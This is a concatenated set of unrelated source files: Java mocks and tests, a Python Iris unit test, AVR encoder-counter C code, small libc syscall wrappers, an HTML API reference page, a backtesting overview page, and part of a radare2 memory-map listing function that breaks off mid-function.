return VirtualFileSystem.getInstance().deleteFSObject(getAbsolutePath());
}
@Override
public boolean renameTo(File dest) {
if(! MockFramework.isEnabled()){
return super.renameTo(dest);
}
boolean renamed = VirtualFileSystem.getInstance().rename(
this.getAbsolutePath(),
dest.getAbsolutePath());
return renamed;
}
@Override
public boolean mkdir() {
if(! MockFramework.isEnabled()){
return super.mkdir();
}
String parent = this.getParent();
if(parent==null || !VirtualFileSystem.getInstance().exists(parent)){
return false;
}
return VirtualFileSystem.getInstance().createFolder(getAbsolutePath());
}
@Override
public void deleteOnExit() {
if(! MockFramework.isEnabled()){
super.deleteOnExit();
}
/*
* do nothing, as anyway no actual file is created
*/
}
@Override
public String[] list() {
if(! MockFramework.isEnabled()){
return super.list();
}
if(!isDirectory() || !exists()){
return null;
} else {
VFolder dir = (VFolder) VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
return dir.getChildrenNames();
}
}
@Override
public File[] listFiles() {
if(! MockFramework.isEnabled()){
return super.listFiles();
}
String[] ss = list();
if (ss == null) return null;
int n = ss.length;
MockFile[] fs = new MockFile[n];
for (int i = 0; i < n; i++) {
fs[i] = new MockFile(this,ss[i]);
}
return fs;
}
@Override
public File[] listFiles(FileFilter filter) {
if(! MockFramework.isEnabled()){
return super.listFiles(filter);
}
String ss[] = list();
if (ss == null) return null;
ArrayList<File> files = new ArrayList<File>();
for (String s : ss) {
File f = new MockFile(this,s);
if ((filter == null) || filter.accept(f))
files.add(f);
}
return files.toArray(new File[files.size()]);
}
@Override
public String getCanonicalPath() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalPath();
}
VirtualFileSystem.getInstance().<API key>(getAbsolutePath());
return super.getCanonicalPath();
}
@Override
public URL toURL() throws <API key> {
if(! MockFramework.isEnabled() || !RuntimeSettings.useVNET){
return super.toURL();
}
URL url = super.toURL();
return MockURL.URL(url.toString());
}
@Override
public String getName(){
return super.getName();
}
@Override
public String getParent() {
return super.getParent();
}
@Override
public String getPath() {
return super.getPath();
}
@Override
public boolean isAbsolute() {
return super.isAbsolute();
}
@Override
public String getAbsolutePath() {
return super.getAbsolutePath();
}
@Override
public URI toURI() {
return super.toURI(); //no need of VNET here
}
@Override
public String[] list(FilenameFilter filter) {
//no need to mock it, as it uses the mocked list()
return super.list(filter);
}
@Override
public boolean mkdirs() {
//no need to mock it, as all methods it calls are mocked
return super.mkdirs();
}
@Override
public boolean setWritable(boolean writable) {
return super.setWritable(writable); // it calls mocked method
}
@Override
public boolean setReadable(boolean readable) {
return super.setReadable(readable); //it calls mocked method
}
@Override
public boolean setExecutable(boolean executable) {
return super.setExecutable(executable); // it calls mocked method
}
@Override
public boolean equals(Object obj) {
return super.equals(obj);
}
@Override
public int hashCode() {
return super.hashCode();
}
@Override
public String toString() {
return super.toString();
}
}
|
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package optas.gui.wizard;
/**
*
* @author chris
*/
public class ComponentWrapper {
public String componentName;
public String componentContext;
public boolean contextComponent;
public ComponentWrapper(String componentName, String componentContext, boolean contextComponent) {
this.componentContext = componentContext;
this.componentName = componentName;
this.contextComponent = contextComponent;
}
@Override
public String toString() {
if (contextComponent) {
return componentName;
}
return /*componentContext + "." + */ componentName;
}
}
|
package org.jta.testspringhateoas.hello;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import static org.springframework.hateoas.mvc.<API key>.*;
@RestController
public class GreetingController {
private static final String TEMPLATE = "Hello, %s!";
@RequestMapping("/greeting")
public HttpEntity<Greeting> greeting(
@RequestParam(value = "name", required = false, defaultValue = "World") String name) {
Greeting greeting = new Greeting(String.format(TEMPLATE, name));
greeting.add(linkTo(methodOn(GreetingController.class).greeting(name)).withSelfRel());
return new ResponseEntity<Greeting>(greeting, HttpStatus.OK);
}
}
|
<?xml version="1.0" encoding="utf-8"?>
<html>
<head>
<meta charset="UTF-8"/>
<title>System.Net.<API key> – VSharp – Vala Binding Reference</title>
<link href="../style.css" rel="stylesheet" type="text/css"/><script src="../scripts.js" type="text/javascript">
</script>
</head>
<body>
<div class="site_header">System.Net.<API key> – VSharp Reference Manual</div>
<div class="site_body">
<div class="site_navigation">
<ul class="navi_main">
<li class="package_index"><a href="../index.html">Packages</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="package"><a href="index.htm">VSharp</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.html">System</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.Net.html">Net</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enum"><API key></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enumvalue"><a href="System.Net.<API key>.Deflate.html">Deflate</a></li>
<li class="enumvalue"><a href="System.Net.<API key>.GZip.html">GZip</a></li>
<li class="enumvalue"><a href="System.Net.<API key>.None.html">None</a></li>
</ul>
</div>
<div class="site_content">
<h1 class="main_title"><API key></h1>
<hr class="main_hr"/>
<h2 class="main_title">Description:</h2>
<div class="<API key>">[ <span class="main_type">Flags</span> ]<br/><span class="main_keyword">public</span> <span class="main_keyword">enum</span> <b><span class="enum"><API key></span></b>
</div><br/>
<div class="namespace_note"><b>Namespace:</b> <a href="System.Net.html">System.Net</a>
</div>
<div class="package_note"><b>Package:</b> <a href="index.htm">VSharp</a>
</div>
<h2 class="main_title">Content:</h2>
<h3 class="main_title">Enum values:</h3>
<ul class="navi_inline">
<li class="enumvalue"><a href="System.Net.<API key>.None.html">None</a> - </li>
<li class="enumvalue"><a href="System.Net.<API key>.GZip.html">GZip</a> - </li>
<li class="enumvalue"><a href="System.Net.<API key>.Deflate.html">Deflate</a> - </li>
</ul>
</div>
</div><br/>
<div class="site_footer">Generated by <a href="http:
</div>
</body>
</html>
|
package io.nuun.kernel.core.internal;
import static io.nuun.kernel.core.NuunCore.createKernel;
import static io.nuun.kernel.core.NuunCore.<API key>;
import static org.fest.assertions.Assertions.assertThat;
import io.nuun.kernel.api.Kernel;
import io.nuun.kernel.core.pluginsit.dummy1.DummyPlugin;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin2;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin3;
import io.nuun.kernel.core.pluginsit.dummy4.DummyPlugin4;
import io.nuun.kernel.core.pluginsit.dummy5.DummyPlugin5;
import java.util.concurrent.CountDownLatch;
import org.junit.Test;
public class KernelMulticoreTest
{
@Test
public void <API key>() throws <API key>
{
CountDownLatch startLatch = new CountDownLatch(1);
for (int threadNo = 0; threadNo < 2; threadNo++) {
Thread t = new KernelHolder(startLatch);
t.start();
}
// give the threads chance to start up; we could perform
// initialisation code here as well.
Thread.sleep(200);
startLatch.countDown();
}
static class KernelHolder extends Thread
{
public KernelHolder(CountDownLatch startLatch)
{
}
@SuppressWarnings("unchecked")
@Override
public void run()
{
// try
{
System.out.println("Before");
// startLatch.await();
KernelCore underTest;
DummyPlugin4 plugin4 = new DummyPlugin4();
underTest = (KernelCore) createKernel(
<API key>()
.params (
DummyPlugin.ALIAS_DUMMY_PLUGIN1 , "WAZAAAA",
DummyPlugin.NUUNROOTALIAS , "internal,"+KernelCoreTest.class.getPackage().getName()
)
);
assertThat(underTest.name()).startsWith(Kernel.KERNEL_PREFIX_NAME);
System.out.println(">" + underTest.name());
underTest.addPlugins( DummyPlugin2.class);
underTest.addPlugins( DummyPlugin3.class);
underTest.addPlugins( plugin4);
underTest.addPlugins( DummyPlugin5.class);
underTest.init();
assertThat(underTest.isInitialized()).isTrue();
System.out.println(">" + underTest.name() + " initialized = " + underTest.isInitialized());
underTest.start();
assertThat(underTest.isStarted()).isTrue();
System.out.println(">" + underTest.name() + " started = " + underTest.isStarted());
underTest.stop();
}
// catch (<API key> e)
// e.printStackTrace();
}
}
}
|
package co.rsk.pcc.blockheader;
import co.rsk.pcc.<API key>;
import org.ethereum.core.Block;
import org.ethereum.core.CallTransaction;
/**
* This implements the "getCoinbaseAddress" method
* that belongs to the BlockHeaderContract native contract.
*
* @author Diego Masini
*/
public class GetCoinbaseAddress extends <API key> {
private final CallTransaction.Function function = CallTransaction.Function.fromSignature(
"getCoinbaseAddress",
new String[]{"int256"},
new String[]{"bytes"}
);
public GetCoinbaseAddress(<API key> <API key>, BlockAccessor blockAccessor) {
super(<API key>, blockAccessor);
}
@Override
public CallTransaction.Function getFunction() {
return function;
}
@Override
protected Object internalExecute(Block block, Object[] arguments) {
return block.getCoinbase().getBytes();
}
}
|
--Copyright (C) 2010 <SWGEmu>
--This File is part of Core3.
--This program is free software; you can redistribute
--it and/or modify it under the terms of the GNU Lesser
--General Public License as published by the Free Software
--Foundation; either version 2 of the License,
--or (at your option) any later version.
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
--See the GNU Lesser General Public License for
--more details.
--You should have received a copy of the GNU Lesser General
--Public License along with this program; if not, write to
--the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--Linking Engine3 statically or dynamically with other modules
--is making a combined work based on Engine3.
--Thus, the terms and conditions of the GNU Lesser General Public License
--cover the whole combination.
--In addition, as a special exception, the copyright holders of Engine3
--give you permission to combine Engine3 program with free software
--programs or libraries that are released under the GNU LGPL and with
--code included in the standard release of Core3 under the GNU LGPL
--license (or modified versions of such code, with unchanged license).
--You may copy and distribute such a system following the terms of the
--GNU LGPL for Engine3 and the licenses of the other code concerned,
--provided that you include the source code of that other code when
--and as the GNU LGPL requires distribution of source code.
--Note that people who make modified versions of Engine3 are not obligated
--to grant this special exception for their modified versions;
--it is their choice whether to do so. The GNU Lesser General Public License
--gives permission to release a modified version without this exception;
--this exception also makes it possible to release a modified version
<API key> = <API key>:new {
}
ObjectTemplates:addTemplate(<API key>, "object/building/poi/<API key>.iff")
|
package org.evosuite.symbolic.vm;
import org.evosuite.symbolic.expr.fp.RealValue;
/**
*
* @author galeotti
*
*/
public final class Fp64Operand implements DoubleWordOperand, RealOperand {
private final RealValue realExpr;
public Fp64Operand(RealValue realExpr) {
this.realExpr = realExpr;
}
public RealValue getRealExpression() {
return realExpr;
}
@Override
public String toString() {
return realExpr.toString();
}
}
|
package org.alfresco.util.schemacomp.model;
import static org.junit.Assert.*;
import static org.mockito.Mockito.verify;
import org.alfresco.test_category.<API key>;
import org.alfresco.test_category.OwnJVMTestsCategory;
import org.alfresco.util.schemacomp.DbProperty;
import org.junit.Before;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnitRunner;
/**
* Tests for the Schema class.
*
* @author Matt Ward
*/
@RunWith(MockitoJUnitRunner.class)
@Category(<API key>.class)
public class SchemaTest extends DbObjectTestBase<Schema>
{
private Schema left;
private Schema right;
@Before
public void setUp()
{
left = new Schema("left_schema");
right = new Schema("right_schema");
}
@Override
protected Schema getThisObject()
{
return left;
}
@Override
protected Schema getThatObject()
{
return right;
}
@Override
protected void doDiffTests()
{
// We need to be warned if comparing, for example a version 500 schema with a
// version 501 schema.
inOrder.verify(comparisonUtils).compareSimple(
new DbProperty(left, "version"),
new DbProperty(right, "version"),
ctx);
// In addition to the base class functionality, Schema.diff() compares
// the DbObjects held in the other schema with its own DbObjects.
inOrder.verify(comparisonUtils).compareCollections(left.objects, right.objects, ctx);
}
@Test
public void acceptVisitor()
{
DbObject dbo1 = Mockito.mock(DbObject.class);
left.add(dbo1);
DbObject dbo2 = Mockito.mock(DbObject.class);
left.add(dbo2);
DbObject dbo3 = Mockito.mock(DbObject.class);
left.add(dbo3);
left.accept(visitor);
verify(dbo1).accept(visitor);
verify(dbo2).accept(visitor);
verify(dbo3).accept(visitor);
verify(visitor).visit(left);
}
@Test
public void sameAs()
{
// We have to assume that two schemas are always the same, regardless of name,
// otherwise unless the reference schema has the same name as the target database
// all the comparisons will fail - and users can choose to install databases with any schema
// name they choose.
assertTrue("Schemas should be considered the same", left.sameAs(right));
// Things are always the same as themselves.
assertTrue("Schemas are the same physical object", left.sameAs(left));
assertFalse("A table is not the same as a schema", left.sameAs(new Table("left_schema")));
assertFalse("null is not the same as a schema", left.sameAs(null));
}
}
|
# This file is part of Iris.
# Iris is free software: you can redistribute it and/or modify it under
# (at your option) any later version.
# Iris is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
"""
Test function :func:`iris.fileformats._pyke_rules.compiled_krb.\
fc_rules_cf_fc.<API key>`.
"""
from __future__ import (absolute_import, division, print_function)
from six.moves import (filter, input, map, range, zip) # noqa
# import iris tests first so that some things can be initialised before
# importing anything else
import iris.tests as tests
import numpy as np
import mock
from iris.coords import AuxCoord
from iris.fileformats._pyke_rules.compiled_krb.fc_rules_cf_fc import \
<API key>
class TestBoundsVertexDim(tests.IrisTest):
def setUp(self):
# Create coordinate cf variables and pyke engine.
points = np.arange(6).reshape(2, 3)
self.cf_coord_var = mock.Mock(
dimensions=('foo', 'bar'),
cf_name='wibble',
standard_name=None,
long_name='wibble',
units='m',
shape=points.shape,
dtype=points.dtype,
__getitem__=lambda self, key: points[key])
self.engine = mock.Mock(
cube=mock.Mock(),
cf_var=mock.Mock(dimensions=('foo', 'bar')),
filename='DUMMY',
provides=dict(coordinates=[]))
# Create patch for deferred loading that prevents attempted
# file access. This assumes that self.cf_bounds_var is
# defined in the test case.
def patched__getitem__(proxy_self, keys):
variable = None
for var in (self.cf_coord_var, self.cf_bounds_var):
if proxy_self.variable_name == var.cf_name:
return var[keys]
raise RuntimeError()
self.deferred_load_patch = mock.patch(
'iris.fileformats.netcdf.NetCDFDataProxy.__getitem__',
new=patched__getitem__)
def <API key>(self):
# Create the bounds cf variable.
bounds = np.arange(24).reshape(4, 2, 3)
self.cf_bounds_var = mock.Mock(
dimensions=('nv', 'foo', 'bar'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
# Expected bounds on the resulting coordinate should be rolled so that
# the vertex dimension is at the end.
expected_bounds = np.rollaxis(bounds, 0, bounds.ndim)
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=expected_bounds)
# Patch the helper function that retrieves the bounds cf variable.
# This avoids the need for setting up further mocking of cf objects.
<API key> = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, <API key>:
<API key>(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def <API key>(self):
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('foo', 'bar', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=bounds)
<API key> = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, <API key>:
<API key>(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def <API key>(self):
# Despite the dimension names ('x', and 'y') differing from the coord's
# which are 'foo' and 'bar' (as permitted by the cf spec),
# this should still work because the vertex dim is the fastest varying.
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('x', 'y', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=bounds)
<API key> = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, <API key>:
<API key>(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
if __name__ == '__main__':
tests.main()
|
<?php
namespace n2n\web\dispatch\target;
class <API key> extends <API key> {
}
|
#include "system.h"
#include "counters.h"
uint32_t <API key>=0;
#define <API key> 25
counters_t counters = {{0}};
// Counters pin initialization routine.
void counters_init()
{
//encoders and feedback //TODO: move to new file
#ifdef KEYME_BOARD
FDBK_DDR &= ~(FDBK_MASK); // Configure as input pins
FDBK_PORT |= FDBK_MASK; // Enable internal pull-up resistors. Normal high operation. //TODO test
#endif
counters.state = FDBK_PIN&FDBK_MASK; //record initial state
counters_enable(0); //default to no encoder
}
void counters_enable(int enable)
{
if (enable) {
FDBK_PCMSK |= FDBK_MASK; // Enable specific pins of the Pin Change Interrupt
PCICR |= (1 << FDBK_INT); // Enable Pin Change Interrupt
}
else {
FDBK_PCMSK &= ~FDBK_MASK; // Disable specific pins of the Pin Change Interrupt
PCICR &= ~(1 << FDBK_INT); // Disable Pin Change Interrupt
}
}
// Resets the counts for an axis
void counters_reset(uint8_t axis)
{
counters.counts[axis]=0;
if (axis == Z_AXIS) { counters.idx=0; }
}
// Returns the counters pin state. Triggered = true. and counters state monitor.
count_t counters_get_count(uint8_t axis)
{
return counters.counts[axis];
}
uint8_t counters_get_state(){
return counters.state;
}
int16_t counters_get_idx(){
return counters.idx;
}
int debounce(uint32_t* bounce_clock, int16_t lockout_ms) {
uint32_t clock = masterclock;
//allow another reading if lockout has expired
// (or if clock has rolled over - otherwise we could wait forever )
if ( clock > (*bounce_clock + lockout_ms) || (clock < *bounce_clock) ) {
*bounce_clock = clock;
return 1;
}
return 0;
}
ISR(FDBK_INT_vect) {
uint8_t state = FDBK_PIN&FDBK_MASK;
uint8_t change = (state^counters.state);
int8_t dir=0;
//look for encoder change
if (change & ((1<<Z_ENC_CHA_BIT)|(1<<Z_ENC_CHB_BIT))) { //if a or b changed
counters.anew = (state>>Z_ENC_CHA_BIT)&1;
dir = counters.anew^counters.bold ? 1 : -1;
counters.bold = (state>>Z_ENC_CHB_BIT)&1;
counters.counts[Z_AXIS] += dir;
}
//count encoder indexes
if (change & (1<<Z_ENC_IDX_BIT)) { //idx changed
uint8_t idx_on = ((state>>Z_ENC_IDX_BIT)&1);
if (idx_on) {
counters.idx += dir;
}
}
//count rotary axis alignment pulses.
if (change & (1<<ALIGN_SENSE_BIT)) { //sensor changed
if (debounce(&<API key>, <API key>)){
if (!(state&PROBE_MASK)) { //low is on.
counters.counts[C_AXIS]++;
}
}
}
counters.state = state;
}
|
#include "core/use_cases/SprintMapper.h"
namespace sprint_timer::use_cases {
SprintDTO makeDTO(const entities::Sprint& sprint)
{
const auto& tagsEnt = sprint.tags();
std::vector<std::string> tags(tagsEnt.size());
std::transform(cbegin(tagsEnt),
cend(tagsEnt),
begin(tags),
[](const auto& elem) { return elem.name(); });
return SprintDTO{sprint.uuid(),
sprint.taskUuid(),
sprint.name(),
tags,
sprint.timeSpan()};
}
entities::Sprint fromDTO(const SprintDTO& dto)
{
const auto& tagStr = dto.tags;
std::list<entities::Tag> tags(tagStr.size());
std::transform(cbegin(tagStr),
cend(tagStr),
begin(tags),
[](const auto& elem) { return entities::Tag{elem}; });
return entities::Sprint{
dto.taskName, dto.timeRange, tags, dto.uuid, dto.taskUuid};
}
std::vector<SprintDTO> makeDTOs(const std::vector<entities::Sprint>& sprints)
{
std::vector<SprintDTO> res;
res.reserve(sprints.size());
makeDTOs(cbegin(sprints), cend(sprints), std::back_inserter(res));
return res;
}
std::vector<entities::Sprint> fromDTOs(const std::vector<SprintDTO>& dtos)
{
std::vector<entities::Sprint> res;
res.reserve(dtos.size());
fromDTOs(cbegin(dtos), cend(dtos), std::back_inserter(res));
return res;
}
} // namespace sprint_timer::use_cases
|
package org.toughradius.handler;
public interface RadiusConstant {
public final static String VENDOR_TOUGHSOCKS = "18168";
public final static String VENDOR_MIKROTIK = "14988";
public final static String VENDOR_IKUAI = "10055";
public final static String VENDOR_HUAWEI = "2011";
public final static String VENDOR_ZTE = "3902";
public final static String VENDOR_H3C = "25506";
public final static String VENDOR_RADBACK = "2352";
public final static String VENDOR_CISCO = "9";
}
|
<!DOCTYPE html>
<html>
<!-- This file is automatically generated: do not edit. -->
<head>
<title>Backtesting</title>
<meta charset="utf-8">
</head>
<body>
<!-- <h1>Backtesting</h1> -->
<h2>Backtesting</h2>
<p>The architecure of OpenTrader supports different chefs (backtesters), and it<br />
is assumed that some will have different features, strengths, and weaknesses.<br />
We want to lay out here the minimum requirements for inclusion, and we want<br />
lay out what we are looking for even if there is no currently available<br />
open source code that does everything we are looking for.</p>
<p>Because there may be a large tradeoff between some features and speed, and<br />
because speed in backtesting is a prerequisite to do multi-variate optimization,<br />
we can imagine have more than one type of backtester: a fast coarse one, and a<br />
slower fine one. The former can be used to narrow down the range of parameters,<br />
and the latter can be used to test the former in more realisitic conditions.<br />
In backtesters, vector approaches (like pybacktest) are in the former category,<br />
and usually event-driven backtesters are in the latter. The same may also<br />
be true of backtesting versus live-trading, as it usually requires an<br />
event-driven backtester.</p>
<p>It must be borne in mind that any of the currently available software projects<br />
are moving targets that may gain new features from one release to the next.<br />
So can their speed greatly from one release to the next, and it's usually best<br />
to just a project based on its quality and see how it evolves rather than just<br />
judge it on criteria. This is especially true now that core bottlenecks are being<br />
rewritten in Cython. Similarly, if a feature is missing and important enough to us,<br />
we perhaps can implement the feature and push it back upstream.</p>
<h3>Criteria</h3>
<p>Idealy, our backtesters will have all of the features found in the Stategy Tester,<br />
so that we can make direct comparisons.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>Open source.</li>
<li>Panderific. At the very least, numpy arrays as the basis.</li>
</ul>
<p><strong>Nice to Have:</strong></p>
<ul>
<li>trailing stop-loss implementation</li>
<li>easily adapted to live-trading</li>
</ul>
<p><strong>Nice not to Have:</strong></p>
<ul>
<li>slow</li>
</ul>
<h3>Candidates</h3>
<p>We list here some of the open source software that we know of, with some<br />
comments based on our Criteria:</p>
<p><a href="pybacktest">https://github.com/ematvey/pybacktest/</a><br />
Fast, vectorized, no trailing stop-loss. <tt>pybacktest</tt> was the first bactester<br />
included in OpenTrader (see <a href="DocOTCmd2_backtest.html">DocOTCmd2_backtest</a>), and it formed the basis<br />
for our initial architecture. Very succinct.</p>
<p><a href="bt">https://github.com/pmorissette/bt</a><br />
No trailing stop-loss.</p>
<p><a href="zipline">https://github.com/quantopian/zipline</a><br />
Very actively developed. Not very fast. No trailing stop-loss.</p>
<p><a href="pyalgotrade">http://gbeced.github.io/pyalgotrade</a><br />
Actively developed and well-documented.<br />
Numpied, not pandaed. No trailing stop-loss.</p>
<p><a href="ultrafinance">https://github.com/panpanpandas/ultrafinance</a><br />
Numpied, not pandaed. Event driven backtester.</p>
<p><a href="tradingmachine">http://pypi.python.org/pypi/tradingmachine/</a><br />
Pandaed. Event driven backtester.</p>
<hr />
<p>See also:</p>
<ul>
<li><a href="http:
</ul>
<p>Parent: <a href="Architecture.html">Architecture</a></p></body>
</html>
|
/**
* @author Michael Sippel (Universe Team) <micha@infinitycoding.de>
*/
#include <syscall.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
sighandler_t signal(int signum, sighandler_t handler)
{
linux_syscall(SYS_SIGNAL, signum,(uint32_t) handler, 0, 0, 0);
return handler;
}
int kill(pid_t pid, int sig)
{
return linux_syscall(SYS_KILL, pid, sig, 0, 0, 0);
}
int raise(int sig)
{
return kill(getpid(), sig);
}
|
package stroom.stats.configuration;
import org.ehcache.spi.loaderwriter.CacheLoaderWriter;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.context.internal.<API key>;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.inject.Inject;
import java.util.Map;
public class <API key> implements CacheLoaderWriter<String,<API key>>{
private static final Logger LOGGER = LoggerFactory.getLogger(<API key>.class);
private final <API key> <API key>;
private final SessionFactory sessionFactory;
@Inject
public <API key>(final <API key> <API key>,
final SessionFactory sessionFactory) {
this.<API key> = <API key>;
this.sessionFactory = sessionFactory;
}
@Override
public <API key> load(final String key) throws Exception {
LOGGER.trace("load called for key {}", key);
//EHCache doesn't cache null values so if we can't find a stat config for this uuid,
//just return null
try (Session session = sessionFactory.openSession()) {
<API key>.bind(session);
session.beginTransaction();
<API key> <API key> = <API key>.loadByUuid(key).orElse(null);
LOGGER.trace("Returning <API key> {}", <API key>);
return <API key>;
} catch (Exception e) {
throw new RuntimeException(String.format("Error loading stat store entity by uuid %s", key), e);
}
}
@Override
public Map<String, <API key>> loadAll(final Iterable<? extends String> keys)
throws Exception {
throw new <API key>("loadAll (getAll) is not currently supported on this cache");
}
@Override
public void write(final String key, final <API key> value) throws Exception {
throw new <API key>("CRUD operations are not currently supported on this cache");
}
@Override
public void writeAll(final Iterable<? extends Map.Entry<? extends String, ? extends <API key>>> entries) throws Exception {
throw new <API key>("CRUD operations are not currently supported on this cache");
}
@Override
public void delete(final String key) throws Exception {
throw new <API key>("CRUD operations are not currently supported on this cache");
}
@Override
public void deleteAll(final Iterable<? extends String> keys) throws Exception {
throw new <API key>("CRUD operations are not currently supported on this cache");
}
}
|
#include <r_debug.h>
#include <r_list.h>
/* Print out the JSON body for memory maps in the passed map region */
static void <API key>(RDebug *dbg, RDebugMap *map, bool prefix_comma) {
dbg->cb_printf ("%s{", prefix_comma ? ",": "");
if (map->name && *map->name) {
char *escaped_name = r_str_escape (map->name);
dbg->cb_printf ("\"name\":\"%s\",", escaped_name);
free (escaped_name);
}
if (map->file && *map->file) {
char *escaped_path = r_str_escape (map->file);
dbg->cb_printf ("\"file\":\"%s\",", escaped_path);
free (escaped_path);
}
dbg->cb_printf ("\"addr\":%" PFMT64u ",", map->addr);
dbg->cb_printf ("\"addr_end\":%" PFMT64u ",", map->addr_end);
dbg->cb_printf ("\"type\":\"%c\",", map->user?'u':'s');
dbg->cb_printf ("\"perm\":\"%s\"", r_str_rwx_i (map->perm));
dbg->cb_printf ("}");
}
/* Write the memory map header describing the line columns */
static void <API key>(RDebug *dbg, const char *input) {
// TODO: Write header to console based on which command is being ran
}
/* Write a single memory map line to the console */
static void <API key>(RDebug *dbg, RDebugMap *map, ut64 addr, const char *input) {
char humansz[8];
if (input[0] == 'q') { // "dmq"
char *name = (map->name && *map->name)
? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
r_num_units (humansz, sizeof (humansz), map->addr_end - map->addr);
dbg->cb_printf ("0x%016" PFMT64x " - 0x%016" PFMT64x " %6s %5s %s\n",
map->addr,
map->addr_end,
humansz,
r_str_rwx_i (map->perm),
name
);
free (name);
} else {
const char *fmtstr = dbg->bits & R_SYS_BITS_64
? "0x%016" PFMT64x " - 0x%016" PFMT64x " %c %s %6s %c %s %s %s%s%s\n"
: "0x%08" PFMT64x " - 0x%08" PFMT64x " %c %s %6s %c %s %s %s%s%s\n";
const char *type = map->shared ? "sys": "usr";
const char *flagname = dbg->corebind.getName
? dbg->corebind.getName (dbg->corebind.core, map->addr) : NULL;
if (!flagname) {
flagname = "";
} else if (map->name) {
char *filtered_name = strdup (map->name);
r_name_filter (filtered_name, 0);
if (!strncmp (flagname, "map.", 4) && \
!strcmp (flagname + 4, filtered_name)) {
flagname = "";
}
free (filtered_name);
}
r_num_units (humansz, sizeof (humansz), map->size);
dbg->cb_printf (fmtstr,
map->addr,
map->addr_end,
(addr >= map->addr && addr < map->addr_end) ? '*' : '-',
type,
humansz,
map->user ? 'u' : 's',
r_str_rwx_i (map->perm),
map->name ? map->name : "?",
map->file ? map->file : "?",
*flagname ? " ; " : "",
flagname
);
}
}
R_API void r_debug_map_list(RDebug *dbg, ut64 addr, const char *input) {
int i;
bool notfirst = false;
RListIter *iter;
RDebugMap *map;
if (!dbg) {
return;
}
switch (input[0]) {
case 'j': // "dmj" add JSON opening array brace
dbg->cb_printf ("[");
break;
case '*': // "dm*" don't print a header for r2 commands output
break;
default:
// TODO: Find a way to only print headers if output isn't being grepped
<API key> (dbg, input);
}
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
r_list_foreach (maps, iter, map) {
switch (input[0]) {
case 'j': // "dmj"
<API key> (dbg, map, notfirst);
notfirst = true;
break;
case '*':
{
char *name = (map->name && *map->name)
